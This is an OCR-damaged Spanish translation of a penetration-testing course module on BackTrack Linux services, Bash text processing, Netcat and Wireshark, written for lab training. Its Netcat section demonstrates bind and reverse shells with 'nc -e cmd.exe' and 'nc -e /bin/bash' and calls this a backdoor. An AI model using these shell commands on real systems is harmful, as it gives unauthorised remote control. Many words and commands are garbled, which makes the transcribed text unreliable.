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Moddulo 1: Conceptos basicos sobrBackTrack

Vision de conjunto:

Este mdduloprepara alestudiante paraos moédulos quevienen que en gran medida
dependen de lacompetencia conel uso basico deLinuxy herramientas como elshel/ Bash
Netcaty Wireshark

Objetivos del médulo

Al final deeste modulo, elestudiante debe:

1. Ser capaz deutilizar comodamentela distribucionBackTracK.inux incluyendo el
serviciogestion,instrumentos de localizaciorgestiony direccionlP.

2. Posee una competencidasica con ekhell de LinuxBash la manipulacionde texto y
shell Bastlscripting.

3. Cuentan con unconocimiento practico delos diversos usos déletcat

4. Tienen un dominiobasicoen el uso dela red snifferWireshark

e .
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1,1 Para encontrar el camin@lrededor deBackTrack

Antes de empezar ayolpear lejos en suteclado, megustaria revisarapidamentela estructura
de CDYy bésica caracteristicagl BackTraclk.ive CDpretende serintuitivo en su disefiode la
herramienta.Sin embargq usted debe tenewarias cosas importantesn mente:

1 No todaslas herramientas disponiblesn el CD serepresenta en el menu

1 Varias de lasherramientas disponibles en @henu invocar scripts automatizadosque
asumen valores predeterminadosEn veceses posible que prefiergpara invocaruna
herramienta de lalinea de comandosn lugar deen el mena.

1 Generalmente hablandp tratar de evitar el men( al menos para fines de
entrenamiento.Una vez quese llega a conocer las herramientaslas opcionesbasicas
de linea de comandosusted puededisfrutar dela perezay el uso el menu

1 La mayoria delas herramientas de andlisise encuentran ya sean la ruta o en el
directorio pentest /. las herramientas en el directorigpentest/ se clasifican ysub-
clasificancomo vectores de ataquediferentes y herramientasTomese sutiempo para
explorar eldirectorio pentest/ para que se familiarice corlas herramientas disponible
Como Abraham Lincolndijo una vez 'S/ yotenia seishoras para cortarun arbol, me
pasaria elres primerosafilarmi hachai

Saodki
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File Edit View Terminal Help
:/pentest# 1s -1

root root 2011-05-10 :43 backdoors
root root 2017T=05=10 03: bluetooth
root root 2011-05-10 #1 cisco

root root 2011-05-10 ‘43 database
root root 2011,05=10 03:43 enumeration
root root 2011-05-10 : exploits
root root 2011-05-10 - forensics
root root 2011-05-10 ©3:43 fuzzers
root root 2011-05-10 - Libs

root root 2011-05-10 :02 misc

root root 2011-05-10 244 passwords
root root 2011-05-10 :41 python

root root 2011-05-10 :41 re

root root 2011-05-10 :41 reporting
root root 2011-85-10 :42 reverse-engineering
root root 2011-85-10 05: rfid

root root 2011-85-10 :44 scanners
root root 2011-05-10 03:44 sniffers
root root 2011-05-10 ;41 stressing
root root 2011-05-10 :43 telephony
root root 2011-05-10 :43 tunneling
root root 2011-05-10 :43 volip

root root 2011-05-10 03:44 web

root root 2011-05-10 03:44 windows-binaries
4 root root 2011-05-10 :43 wireless

: /pentest# |
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1,2 BackTraclkServicios

BackTrackncluye varios servicios de reditiles, tales comaHTTPD sshd, tftpd, ServidoWNCy

mas Estos servicios puedeser Utilesen diversas situacione§or ejemplo, la creacién deun

servidora TFTPOransferirarchivos a unavictima).BackTraclofrece varios métodc parainiciar

y detener serviciosMas comunmente los scripts deservicios en/ etc / init.d pueden ser
utilizados.

BackTraclkd no habilitar la reden el arranquepor defecto con el fin deevitar solicitudes DHCP
esta configurado desde el equipoatacante. Esta caracteristica permite que eprobador de

penetracion para controlar su visibilidad en la redScreaming"Hola chicos me miran" en
DHCPish no siempre es deseada
EnBackTrack e ha cambiado laopcion de arranque por defectopara permitir una solicitud

DHCP al arrancar. Aquellos que requieresigilo ahora tienen una opcién de arranque

independiente que arranca con la creacibn de redes BackTrack desactivada.
No se olvide decomprobar que tiene una direccion IP validaantes de probar diferentes
serviciosy la conexiona los laboratorios Dependiendo de sured, ya sea que ustedse le

asignara unaP por DHCP 0 usted tendra queasignaruna forma estatica.

1.2.1DHCP

La adquisicién deuna direccibnmediante DHCRes simple Escribaen dhclient <interface>, y un
ifconfig <interface>, a ver qué pasa.

root@bt:~#  dhclient ethO

Listening on LPF/eth0/00:0c:29:f6:08:7a

Sending on LPF/eth0/00:0c:29:f6:08:7a

Sending on Socket/fallback

DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 8
DHCPOFFER of 192.168.1.155 from 192.168.1.254

DHCPREQUEST of 192.168.1.155 on eth0 to 255.255.255.255 port 67
DHCPACK of 192.168.1.155 from 192.168.1.254

bound to 192.168.1.155 -- renewal in 99903 seconds.

g ': @BackTrackAcadem ‘* fb/BackTrackAcademy
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1.2.2 Asignacion de IP estatica

Elsiguiente ejemplo muestra como configurar una direccion IP estatica asumiendo:
A Host I P: 192.168.0. 4
A M8scara de subred: 255.255.255.0
A Puerta de enlace predeterminada: 192.168.
A

Servidor DNS: 192.168.0.200

root@bt:~# ifconfig eth0 192.168.0.4/24
root@bt:~#  route add default gw 192.168.0.1

root@bt:~# echo nameserver 192.168.0.200 > /etc/resolv.conf

1.2.3 SSHD

El servidor SSH puede ser muy Uutil en diversas situaciones, tales como SSH tunneling
transferencias de archivos de CPS, acceso remotosiysaicesivamente.

Antes de que el servidor de SSH se inicia por primera vez, las claves SSH necesitan ser
generados. Si se intenta iniciar el servidor sshd antes de que hayas creado tus llaves, obtendra
un error similar al siguiente:

v % root@bt: ~
File Edit View Terminal Help

:~# fetc/init.d/ssh start
* Starting OpenBSD Secure Shell server sshd
Could not load host k /etc/ host ‘rsa key

Could not load host key:

P~# I

il ; i
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Para iniciar ebervidor sshdpor primera vez emita lossiguientes comandos:

root@bt:~#  sshd - generate
Generating public/private rsal key pair.

Your identification has been saved in /etc/ssh/ssh_host_key.

Your public key has been saved in letc/ssh/ssh_host_key.pub.
The key fingerprint is:
6a:3a:81:29:57:e0:ff:91:ec:83:1a:€0:11:49:5b:24 root@bt

The key's randomart image is:

Generating public/private rsa key pair.

Your identification has been saved in /etc/ssh/ssh_host_rsa_key.
Your public key has been saved in /etc/ssh/ssh_host_rsa_key.pub.
The key fingerprint is:
2¢:06:¢0:74:51:09:be:44:37:1d:8f:3b:33:7c:94:eb root@bt

The key's randomart image is:

Generating public/private dsa key pair.

Your identification has been saved in /etc/ssh/ssh_host_dsa_key.
Your public key has been saved in /etc/ssh/ssh_host_dsa_key.pub.

The key fingerprint is:

2f:8c:e8:be:b5:23:6¢:85:¢c3:71:e3:aa:c6:6¢:28:d1 root@bt

The key's randomart image is:
root@bt:~#/  etcl/init.d/ssh start

Starting OpenBSD Secure Shell server: sshd.

root@bt:~#

ol ¢
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Puede comprobar queel servidor esta activy escuchandocon el comandonetstat

root@bt:~# netstat - antp |grep sshd
tcp 00 0.0.0.0:22 0.0.0.0:* LISTEN 8654/sshd
tcp6 0 0 :::22 :::* LISTEN 8654/sshd

root@bt:~#

1.2.4Apache

Usted puede controlar ekervidor Apache mediante el uso decualquiera de losapachecti2de
inicio / paradade comandos, opor invocandoel scriptinit.d relevantes:

root@bt:~#  apachectl2 start

httpd: Could not reliably determine the server's fully qualified domain name,
using 127.0.0.1

for ServerName

root@bt:~#

Trate de navegaia la direccién delocalhostpara ver si ekervidorHTTPesta en marcha y
funcionando.Para detenerel HTTPD
servidor:

root@bt:~#  apachectl2 stop

httpd: Could not reliably determine the server's fully qualified domain name,
using 127.0.0.1

for ServerName

root@bt:~#

ol ¢
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Usandolos scripts denit.d:

root@bt:~#  /etc/init.d/apache2 start

Starting web server: apache2: Could not reliably determine the server's fully
qualified

domain name, using 127.0.1.1 for ServerName

root@bt:~#  /etc/init.d/apache2 stop

Stopping web server: apache2: Could not reliably determine the server's fully
qualified

domain name, using 127.0.1.1 for ServerName

root@bt:~#

1.25FTP

Un servidor FTP que se ejecuta en una maquina de atacar puede ayudar en la transferencia de
archivos entre una victima y un cliente (como veremos en los médulos posteriores). Las
necesidades de Purdtp para ser instalados en BackTrack es sencillo y rapido de configurar.

root@bt:~#  apt - get install pure - ftpd

ol ¢
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La secuencia de comandoBashsiguiente éetup-ftp) creara elusuarioFTP"Offsec":

#l/bin/bash

groupadd ftpgroup

useradd - g ftpgroup - d /dev/null - s /etc ftpuser
echo "[*] Setting up FTP user offsec \n"

pure - pw useradd offsec - u ftpuser - d /ftphome

pure - pw mkdb

cd /etc/pure - ftpd/auth/

In -s ../conf/PureDB 60pdb

echo "[*] Setting home directory in /ftphome/ \n"
mkdir /ftphome

chown - R ftpuser:ftpgroup /ftphome/

echo "[*] Starting FTP server \n

letc/init.d/pure - ftpd restart

ol ¢
P ‘ @BackTrackAcadem ‘* fb/BackTrackAcademy




Pagina] 17?

1.2.6TFTPD

Un servidorTFTPDpuede ser util en situacionegn las que necesitpara transferirarchivos
desde o haciauna victima maquinakl servidofTFTPpredeterminadoen BackTracles atftpd.
Para iniciar el servidaatftpd, emita elsiguiente comando:

root@bt:~#  apt - get install atftpd

root@bt.~# atftpd -- daemon -- port 69 /tmp

Se inicia urservidorTFTPDservirarchivosde / tmp. Una vez masusted puede verificar esto
usandonetstat

root@bt~# netstat - anup | grep atftp
udp 0 0 0.0.0.0:69 0.0.0.0:* 8734/atftpd

root@bt:~#

Para detener larFTPDutilice elcomando pkill o matar. Recuerde queTFTRutiliza elprotocolo
UDP

ol ¢
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1.2.7VNC Server

Un servidorVNC es Util paracompartir escritorioremoto o para el envioa distanciade ida y
conexiones VNC desde@na maquina atacadaPara iniciar el servido¥NC enBackTrackbasta
con escribiren una consolavncserver ventanaSe lepedira una contrasefigy el servidorVNC se
abrira elpuerto 5901.

root@bt:~#  apt - get install tightvncserver
root@bt:~#  vncserver

You will require a password to access your desktops.
Password:  XXXXXXXX

Verify: XXXXXXXX

Would you like to enter a view - only password (y/n)? n
New X' desktop is bt:1

Creating default startup script /root/.vnc/xstartup
Starting applications specified in /root/.vnc/xstartup
Log file is /root/.vnc/bt5:1.log

root@bt.~# netstat - antp |grep vnc

tcp 00 0.0.0.0:5901 0.0.0.0:* LISTEN 9287/Xtightvnc
tcp 0 0 0.0.0.0:6001 0.0.0.0:* LISTEN 9287/Xtightvnc

root@bt:~#

1.3 Elentorno Bash

Elsiguiente médulocubre algunas de las herramientalsisicas quesetrabajan conregularidad;
competenciacon ellossera asumidoPor favor, tomeseel tiempo paraejercerestas
herramientasde forma independiente.
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1.3.1SencilloScriptingBash

Si no estacompletamentefamiliarizado con ekhellBash le sugieroque leasobre ellaantes de
intentar estos ejerciciosEsta practica de laboratorifamiliaridadrazonablecon Linux.
Elintérprete de comandogshello cualquierotro para el casokes unentorno de programacion
muy potente. En muchosocasionesjque necesitamos parautomatizaruna accion orealizar
tareas reetitivasque consumen tiempoAqui es dondeBashscriptingviene muy bienVamos a
tratar de trabajar con unejercicio guiado

1.3.2Ejemplo deejercicio

Supongaque se le asignda tareade reunirtantos nombrescomo sea posibldCQ.comservidor
con generacion de traficaminimo.Imaginese que usted tiengue pagar $100 por cada
kilobyte generado por suordenador para esta tareaMientras navega por laveb ICQ,usted
nota que su pagina principal contieneenlaces amuchos de sus serviciggue se encuatran en
diferentes servidoresEl ejerciciaequiere textoBashLinuxmanipulaciéncon el fin deextraer
todos losnombres de los servidorede la paginaprincipal delCQ.
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1.3.3Ejemplo deSolucién

1. Comience usandownget para descargar lgpaginaprincipalde la maquina:

root@bt:~#  wget http://www.offsec.com/pwbonline/icg.html - Olicg.txt - 0 /dev/null
root@bt.~# Is -licq.txt
-rw-r-- r-- 1rootroot 54032 Oct 17 14:12 icq.txt

root@bt:~#

2. Extraerlas lineas que contieneta cadenahref =, lo que indica queesta linea contienain
enlaceHTTP:

root@bt:~#  grep 'href="icq.txt

Esto sigue siendain desastre, perajue estacada vez mas cercdJn tipico"buena’ lineatiene
este aspecto:

<a href="http://company.icq.com/info/advertise.html" class ="fLink">

3. Si se divideestalinea usandaun delimitador/, el tercer campodebe contener elnombre del
servidor.

'+link2+" target="_blank"><img src="http:

4. Ustedgrep todas las lineaso relevantes ordenarla lista yeliminar las entradasluplicadas:
root@bt:~#  grep 'href="icq.txt | cut -d"/" -f3|grep icq.com |sort -u
blogs.icq.com

c.icq.com

chat.icq.com

company.icg.com

download.icq.com

gallery.icq.com

games.icg.com

greetings.icq.com

groups.icq.com
people.icq.com
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search.icqg.com

www.icq.com
root@bt:~#

Tenga en cuenta queestemétodo de extraccion deenlaces desdgéaginas HTML esrudo. La
forma méselegantede realizacion de este ejercicies utilizar unmayor lenguaje de scripting
como Python oPerl y para analizar la HTML usandexpresiones regulare€ste ejercicio
simplementedemuestra el poder dda Bash ambiente

5. Compruebe lalisturls.pyscript en Pythonpara un ejemplosimple:

root@bt:enumeration/list -urls# list - urls.py
http://ww.offsec.com/pwbonline/icg.html |cut

-d'/" -fl-3|sort -u

http://chat.icg.com
http://company.icq.com
http://download.icg.com
http://gallery.icqg.com
http://games.icq.com
http://greetings.icq.com
http://groups.icq.com
http://icq.abv.bg
http://icq.bigmir.net
http://icq.centrum.sk
http://icq.walla.co.il
http://icq.yandex.ru
http://people.icg.com
http://search.icq.com
http://ww.icq.com

http://www.icqmail.com
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http:/mww.n24.de
http://www.prosieben.de

http://www.sat1.de
http://www.yelem.org.il
https://www.icg.com

root@bt:/pentest/enumeration/list - urls#

6. Ahora que tienelos nombres de dominiocompletos (FQDN para estosservidores,que

tienen la tareade averiguarlas direcciones IP déos servidoresEl uso de unscript bash simple
y un bucle esta tarease convierte en unjuego de nifios.Emita elcomando host para cada
FQDNencontrado.Comience pordar salida alervidor de la listeen un archivo de texto:

root@bt:~#  grep 'href="icq.txt | cut -d"/" -3 |grepicq. com |sort -u>icq -
srv.txt

root@bt:~#

7. Ahora puede escribiun pequefio script quelee icg-srv.txty ejecuta elcomando host para
cadalinea.Utilice sueditor de texto favoritopara escribir estdindicq.shscript

#!/bin/bash
for hostname in $(cat icq - srv.txt);do

host $hostname

done

8. No te olvides dehacer estescript ejecutableantes de ejecutarlo

root@bt:~#  chmod 755 findicg.sh

root@bt:~#  .ffindicq.sh

blogs.icq.com is an alias for www.gwww.icq.com.
www.gwww.icq.com has address 64.12.164.247
c.icq.com is an alias for c.icq.com.edgesuite.net.
c.icq.com.edgesuite.net is an alias for a949.g.akamai.net.
a949.g.akamai.net has address 206.132.192.246
a949.g.akamai.net has address 206.132.192.207

chat.icq.com is an alias for WWW.gWWw.icq.com .

www.gwww.icq.com has address 64.12.164.247
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company.icq.com is an alias for redirect.icq.com.
redirect.icq.com is an alias for redirect.gredirect.icq.com.

people.icq.com is an alias for www.gwww. icq.com.
www.gwww.icq.com has address 64.12.164.247
search.icg.com is an alias for search.gsearch.icqg.com.
search.gsearch.icqg.com has address 205.188.248.34
www.icg.com is an alias for www.gwww.icg.com.
www.gwww.icq.com has address 64.12.164.247

root@bt:~#

Si el resultadoes un desastreEs necesarianejorar el guién. Si nos fijamos enos resultadosse
vera que la mayoria de losombres son seudénimos otros nombres:

greetings.icq.com is an alias for WWW.gWWW.icg.com

Usted esta interesado elineas similares & siguiente:

www.icg.com has address 64.12.164.247

9. Filtratodas las lineas queontienen la cadenaiene la direccion

#!/bin/bash
for hostname in $(cat icq - srv.ixt);do
host $hostname |grep "has address"

done

Una vez quese ejecuta ebcript de nuevq la salidase ve muchomejor:

root@bt:~#  .ffindicq.sh

www.gwww.icq.com has address 205.188.251.118
a949.g.akamai.net has address 206.132.192.207
a949.g.akamai.net has address 206.132.192.246

www.gwww.icg.com has address 205.188.251.118
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redirect.gredirect.icq.com has address 205.188.251.120
é

al442.g.akamai.net has address 206.132.192.240
www.gwww.icg.com has address 205.188.251.118
www.gwww.icq.com has address 205.188.251.118
www.gwww.icg.com has address 205.188.251.118
search.gsearch.icg.com has address 205.188.248.34
www.gwww.icg.com has address 205.188.251.118

root@bt:~#

10. La tarea final desste ejercicio e®btener las direcciones IP destosservidores de nuevo,
mediante el uso detexto Bashmanipulacion:

root@bt:~#  .ffindicg.sh > icq - ips.txt

root@bt:~# caticqg -ips.txt|cut -d""  -f4d|sort -u
205.188.100.82

205.188.251.118

206.132.192.207

206.132.192.231

206.132.192.240

206.132.192.246

64.12.164.120

64.12.164.92

root@bt:~#
1.3.4Recursos adicionales

http://www.linuxconfig.org/Bash_scripting_Tutorial
http://tldp.org/HOWTO/Bash Prog- Intro-HOWTO. html
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1,4 Netcatel Todo poderoso

Netcat es una herramientanuy versatilque se ha denominaddos 'hackers'cuchillodel ejército
suizo. Eldefinicion mas simple déNetcat es "una herramientaque puede leer yescribir enlos
puertos TCP yJUDP" Estadoble funcionalidadsugiere queNetcat se ejecuta en dognodos: el
cliente y el servidor. Si esto suenacompletamente ajeno a usted por favor, hacer una
investigacionde fondo sobreestaherramienta, yague va a utilizarmuy a menudo.

1.4.1Conexion a un puertoTCP/ UDP con Netcat
Conexién a unpuerto TCP/ UDP puede ser Utilen varias situaciones:

*Para comprobarsi un puertoesta abierto o cerrado.
*Para leeruna pancartadesde el puerto.
*Para conectarse an servicio de rednanualmente

Por favor,tome tiempo pararevisarlas opdgonesde linea de comandos\etcat

root@bt:~# nc -h

[v1.10 -38]

connect to somewhere: nc [ - options] hostname port[s] [ports] ...
listen for inbound: nc -1 -pport[ - options] [hostname] [port]
options:

- ¢ shell commands as ° - €'; use /bin/sh to exec [dangerous!!]

- e filename program to exec after connect [dangerous!!]
- b allow broadcasts

- g gateway source - routing hop point[s], up to 8

- G num source - routing pointer: 4, 8, 12, ...

- h this cruft

- i secs delay interval for lines sent, ports scanned

- k set keepalive option on socket

- | listen mode, for inbound connects

- nnumeric - only IP addresses, no DNS

- o file hex dump of traffic

- p port local port number

Vadke i
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- r randomize local and remote ports

- q secs quit after EOF on stdin and delay of secs
- s addr local source address

- T tos set Type Of Service

- tanswer TELNET negotiation

- u UDP mode

- v verbose [use twice to be more verbose]

- w secs timeout for connects and final net reads

-z zero -1/0O mode [used for scanning]

port numbers can be individual or ranges: lo - hi [inclusive];
hyphens in port names must be backslash escaped (e.qg. 'ftp \ - data’).
root@bt:~#

1. Para conectarse ghuerto TCP 21 erl92.168.9.22@ leer de ellaintente lo siguiente:

root@bt:~# nc -vn 192.168.9.220 21
(UNKNOWN) [192.168.9.220] 21 (ftp) open

220- GuildFTPd FTP Server (c) 1997 - 2002
220- Version 0.999.14

220- Thanks!

220 Please enter your hame:

Tenga en cuenta queel puerto 21 esta abierto yanunciael bannerFTP220-GuildFTPd-TP
Server €) 19972002.Presione Ctri+ C para salilNetcat
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2. Para conectarsal puerto 80 en192.168.9.240envia una solicitudldTTP HEADy leer el
servidorHTTPbandera,intente lo siguiente:

root@bt:~# nc -vn 192.168.9.240 80
(UNKNOWN) [192.168.9.240] 80 (www) open
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Sat, 17 Oct 2009 05:53:08 GMT

Server: Apache/2.2.3 (CentOS)

Last - Modified: Sat, 11 Oct 2008 12:44:50 GMT
ETag: "78457 - b8- alb5f480"

Accept - Ranges: bytes

Content - Length: 184

Connection: close

Content - Type: text/html; charset=UTF -8

root@bt:~#

1.4.2escuchando en un puertaf CP/ UDP con Netcat

Escuchando en umpuerto TCP /UDPusandoNetcates util para aplicacionede red de cliente
de depuraciéno de lo contrariorecibiruna conexién de redTCP/ UDP. Trate deaplicar una
simple charlacon Netcat

Por favor, tomenota de su direccionP local(el mio es192.168.8.7%

1. Paraescuchar en el puertald444 yaceptar conexionegntrantes escriba:
Computer 1 equipo local- 192.168.8.7%

root@bt:~# nc -lvp 4444

listening on [any] 4444 ...
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2. Desde un equipadiferente Que va a utilizaruna maquina de laboratorioWindows) conecte
con el puerto 4444en su equipo local:
Computer2 (caja deWindows- 192.168.9.158

C:\>nc -v192.168.8.74 4444

192.168.8.74: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [192.168.8.74] 4444 (?) open

HI, HOW ARE YOU!

fine thanks, you?

I'M DOING GREAT!

1.4.3Transferencia de archivoson Netcat

Netcattambién se puede utilizapara transferir archivostanto de texto y binariosdesdeun
ordenador a otro. A enviar un archivadesde el ordenadora ordenador 2 1, pruebelo siguiente:
Equipo 1:ConfigureNetcat para escuchar yaceptar la conexiory redirigir cualquier entradaen
un archivo.

root@bt~# nc -Ivp444 4> output.txt

listening on [any] 4444 ...

Equipo 2:Conectar ala escuchaNetcaten el ordenadorl (puerto 4444)y enviarel archivo:

C:\ >echo "Hi! This is a text file!" > test.txt

C:\ >type test.txt

"Hi! This is a text file!"

C:\>nc -wv192.168.8.74 4444 < test.txt

192.168.8.74: inverse host lookup failed: h_errno 11004: NO_DATA

(UNKNOWN) [192.168.8.74] 4444 (?) open
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Debido aNetcatno da ningunaindicaciénde progreso de transferencia de archivoespere
unos segundos ya continuacion,pulseCtrl + C para salilNetcat
En el equipol que usteddebe ver:

root@bt:~# nc - Ivp 4444 > output.txt

listening on [any] 4444 ...

192.168.9.158: inverse host lookup failed: Unknown server error : Connection
timed out

connect to [192.168.8.74] from (UNKN OWN) [192.168.9.158] 1027

root@bt:~#

Ahora compruebeque el archivo se hdransferidocorrectamente:

Computer 1

root@bt:~# file output.txt

output.txt: ASCII text, with CRLF line terminators
root@bt:~#  cat output.txt

"Hi! This is a text file!"

root@bt:~#
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1.4.4 Administracion remota con Netcat

El otro nombre de este capitulo es "usar Netcat como una puerta trasera." Hay una raz6n muy
especifica por no con este titulo, yo se lo sefialara mas adelante en el ejercicio. Una featyre
ordenada de Netcat es el comando redireccion. Esto significa que Netcat puede tomar un
archivo ejecutable y redirigir la entrada, salida y mensajes de error a un puerto TCP / UDP en
lugar de la consola predeterminada.

Tomemos, por ejemplo, el ejecutable ctexe. Al redirigir stdin, stdout y stderr al red, puede
enlazar cmd.exe a un puerto local. Cualquier persona que conecte a este puerto se presentara
con un simbolo del sistema que pertenece a este equipo.

Si esto es confuso, simplemente pasar el rato glécha un vistazo a el siguiente ejemplo.

Iniciar este ejemplo con Alice y Bob, dos personajes de ficcion intenta conectarse a cada uno de
otros equipos. Por favor, tome nota de las configuraciones de red, juegan un papel
fundamental como pronto lo sabraver.

‘ Public IP Public IP

Private IP

1 & ;IAT Sy
< %
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1.4.4.1Escenario 1BindShell

En el escenario 1Bobha solicitado la asistencide Alicia yle ha pedido queconectarse asu
ordenador y emitiralgunos comandos ddorma remota.Como se puede verBobtiene un
nuamero de direcciones yesdirectamente conectado a InternetAlice sin embargo, esta detras
de una conexionNAT'ed

Para completar el escenarjBobnecesita unirs&emd.exea un puerto TCP enla maquinae
informar aAlice el puertoal que conectarse.

Maquinade Bob

C:\>nc -Ilvwp44 44 -ecmd.exe

listening on [any] 4444 ...

Cualquier persona que conectal puerto 4444 en la maquinade Bob (con suerteAlice) se
presentaracon Bob simbolo del sistemagon los mismos permisogue nc seejecutan con

Alice's machine

root@bt:~#  ifconfig tap0
tap0 Link encap:Ethernet HWaddr a6:0c:0b:77:€8:45

inet addr: 192.168.8.74 Bcast:192.168.9.255 Mask:255.255.254.0

root@bt:~# nc -vvn 192.168.9.158 4444
(UNKNOWN) [192.168.9.158] 4444 (?) open
Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985 - 2001 Microsoft Corp.
C:\ >ipconfig

ipconfig

Windows IP Configuration

Ethernet adapter offsec:

Connection - specific DNS Suffix . :

IP Address. .. .........: 192.168.9.158
SubnetMask . ..........:255.255.254.0

Default Gateway . ........:

C\>
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1.4.4.2Escenario 2ReverseShell

En el escenario Aliceesta solicitandda ayuda deBob. El supuesto egjue Alicia notiene
control sobre eINAT dispositivoque esta detras¢ Hay alguna formagara Bobpara conectara
la computadorade Alice yresolver suproblema?

Otra caracteristicanteresanteNetcatesla capacidad de enviaun comando shella un hostde
escuchaen este situaciona pesar de queAlice no puedeobligar aun puerto a cmd.exe
localmentea su ordenador yesperara Bob conectar puedeenviarsulinea de comandosa la
magquinade Bob.

Maquinade Bob

C:\>nc -Ivvp 4444

listening on [any] 4444 ...

Alice's machine

root@bt:~# nc -nv 192.168.9.158 4444 - e /bin/bash

(UNKNOWN) [192.168.9.158] 4444 (?) open

Bob's machine after the connection

C:\>nc -Ivvp 4444

listening on [any] 4444 ...

connect to [192.168.9.158] from (UNKNOWN) [192.168.8.74] 58630: NO_DATA

/sbin/ifconfig

tap0 Link encap:Ethernet HWaddr a6:0c:0b:77:€8:45

inet addr:192.168.8.74 Bcast:192.168.9.255 Mask:255.255.254.0
inet6 addr: fe80::a40c:bff:fe77:€845/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:6831 errors:0 dropped:0 overruns:0 frame:0

TX packets:6257 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100

RX bytes:1003013 (1.0 MB) TX bytes:749607 (749.6 KB)
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Netcattiene otras caracteristicas interesantgsaisos, tales comaimpleshabilidadesinhalacion,
redireccion depuerto, y asi sucesivamente, que vaydejar para que usted investiguele forma
independiente.

Larazon por la queno queria llamar aeste modulo Netcatcomo una puerta traseraesque
los estudiantesuelen comenzar pensando en lamplementacionegnaliciosas ddal puerta
trasera y una delas primeras preguntas es¢Cémo puedo obteneetcat para ejecutarse en
la maquina de la victimasinla intervencién del usuarisemoto?' Suelodescartaresta pregunta,
con unaexpresion de horroren mi cara.

Larespuesta magica esta pregunta puedeser realizada erires palabrasEjecuciérremota de
cadigo. en este ejemploBob yAlice estandispuestos a participar erl ejercicio.Para escalar
esta demostracion para urthack', necesitariamodNetcat para ejecutarsesin la participaciordel
usuario enel otro lado. El noventapor ciento de losvectores de ataquguede reducirse ala
ejecucion de cédigoremoto palabras Para ejemplo, los ataquesomo desbordamientos de
bufer, inyeccionSQL, la inclusiénde archivos ataquesdel lado del clientey troyanos

todos los caballodienen por objeto permitir la ejecuciérremota de cédigo enla maquina
victima.
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1.5 Uso deWireshark

Aprender a usarun analizador demanera efectiva eprobablemente unode los méas
importantesrelacionados con la redecciones que usteguede tomar,y recomiendo
encarecidamentegue este capitulcse revisardy se practicaanto como sea posible.
Tristementeconfesar que durante afioshe evitadoutilizando unsniffer.Cada vez qudo
intenté, me encontrébien con unabateriade velocimetroso un montdn de cosashexque no
entendia muy bienUn dia, mientras tratando de depurasn problema deprotocolo de red, no
tuve mas remedio queusarun snifferde red. Después tomar una respiracion profundale
repente medi cuentade que la comprension deiodas esas cosakexno era demasiado
complicado

en absoluto.

1.5.1El mirar a escondidasn un Sniffer

Vamos aempezar pormirar a escondida®n un archivo de capturawireshark Esta capturdue
tomada mientras corriadhclientethO y entoncesabri minavegador ynavegar a
http://www.offensivesecurity.com

En cuanto aesto, por primera vezpuede ser abrumador.Sin embargo tomar una respiracion
profunda, examine ldinea de capturade paquetespor linea,y poner en practicasus
conocimientos deTCP/ IP.

Descarga estarchivo de capturaa partir de:

http://www.offensive security.com/pwbonline/browsedump.cap
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File Edit Wiew Go Capture Analyze Statistics Help

= & e

QO H X @

P <
= S

$ 0o B -

|Efilter: | ‘ - | dF Expression... |[Dg|ear‘

diH Source |Destination F|r0t0c0|| Info

1 255.255.255.255 DHCP DHCP Request - Transaction ID Oxb153d9ozk
2C192.168.1.1 255.255.255.255 DHCP DHCP ACK - Transaction ID 0xb153d93k

3 ¢ Vmware_f6:08:7a Broadcast ARP Who has 192.168.1.17 Tell 192.168.1.107

4 ¢ Cisco-L1_7c:cB: Vmware _f6:08:7a ARP  102.168.1.1 1s at 00:22:6b:7c:c8:ee

5 ¢ 192.168.1.107 24.224.127.142 DNS  Standard guery A www.offensive-security.c

6 124,224,127.143 192.168.1.107 DNS  Standard query response A 208.88.120.8

7 1152.168.1.107 208.88.120.8 TCP 51085 = http [SYN] Seq=0 Win=52840 Len=0 M

8 1 208.88.120.8 192.168.1.107 TCP  http = 51085 [SYN, ACK] Seq=0 Ack=1 Win=€

9 ] 152.168.1.107 208.88.120.8 TCP 51085 = http [ACK] Seq=1 Ack=1 Win=5888 L
1@ 1 192.168.1.107 208.88.120.8 HTTP GET / HTTR/1.1 N
11 1 208.88.120.8 192.168.1.107 TCP http = 51085 [ACK] Seg=1 Ack=400 W1in=655= |
12 1 208.88.120.8 192.168.1.107 TCP  [TCP segment of a reassembled PDU]

121 192.168.1.107 208.88.120.8 TCP 51085 = http [ACK] Seq=400 Ack=776 Win=7%<
14 ] 208.88.120.8 192.168.1.107 TCP  [TCP segment of a reassembled PDU]

15 1 192.168.1.107 208.88.120.8 TCP 51085 = http [ACK] Seq=400 Ack=2236 Win=1

| EID

Frame 1 (342 bytes on wire, 342 bytes captured)

Ethernet II, Src: Vmware_f6:08:7a (00:0c:29:16:08:7a), Dst: Broadcast (ff:ff:ff:f|.
Internet Protocol, Src: 0.0.0.0 (0.0.0.0), Dst: 255.255.255.255 (255.255.255.255)
User Datagram Protocol, Src Port: bootpc (88), Dst Port: bootps (67)

Dontetran Drat

(4] = I (4[]
oooo  ff ff ff ff ff ff oD oc 29 fe 08 7a 0B 0O 45 10 ........ J..z..E. =
0Ol0 0l 48 00 00 00 00 80 11 39 96 00 00 00 00 ff ff Hooows =T

oozo ff ff oo 44 @0 42 01 34 b3 0a 01 @1 06 00 bl 53 D.C.d4 ....... s z
0030 d9 3b 00 0O OO OO 00 00 00 00 OO 0D 00 00 00 00 P 3

File: "browse-dump.cap" 4736 Bytes...

Packets: 15 Displayed: 15 ... Profile: Default
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Paquete 1 Solicitud DHCP. Ejecutdhclient, que emite una solicitud DHCP a un servidor DHCP
local.Observe la direccion de destino broadcast 255.255.255.255 y la direccion IP de origen
0.0.0.0.

Paquete 2:Un servidor DHCP (192.168.1.1) responde en un paquete unicast y asigna la IP
192.168.1107. En este punto, el navegador se abrio, tratando de navegamaw.offsec.com

Paquete 3:Broadcast ARP. Usted ha intentado enviar un paquete a la Internet, y antes de su
ordenador en realidad se puede enviar, es negario identificar la puerta de enlace
predeterminada en la red local. La puerta de enlace predeterminada la direccion IP configurada
en la maquina que solicita, pero la puerta de enlace predeterminada MAC direccién es
desconocida. Mi maquina envia un bragast a toda la red, preguntando: "¢ Quién tiene
192.168.1.17 Dile a 192.168.1.107 ".

Paquete 4.Todos los equipos de la subred local recibe esta transmision y compruebe si
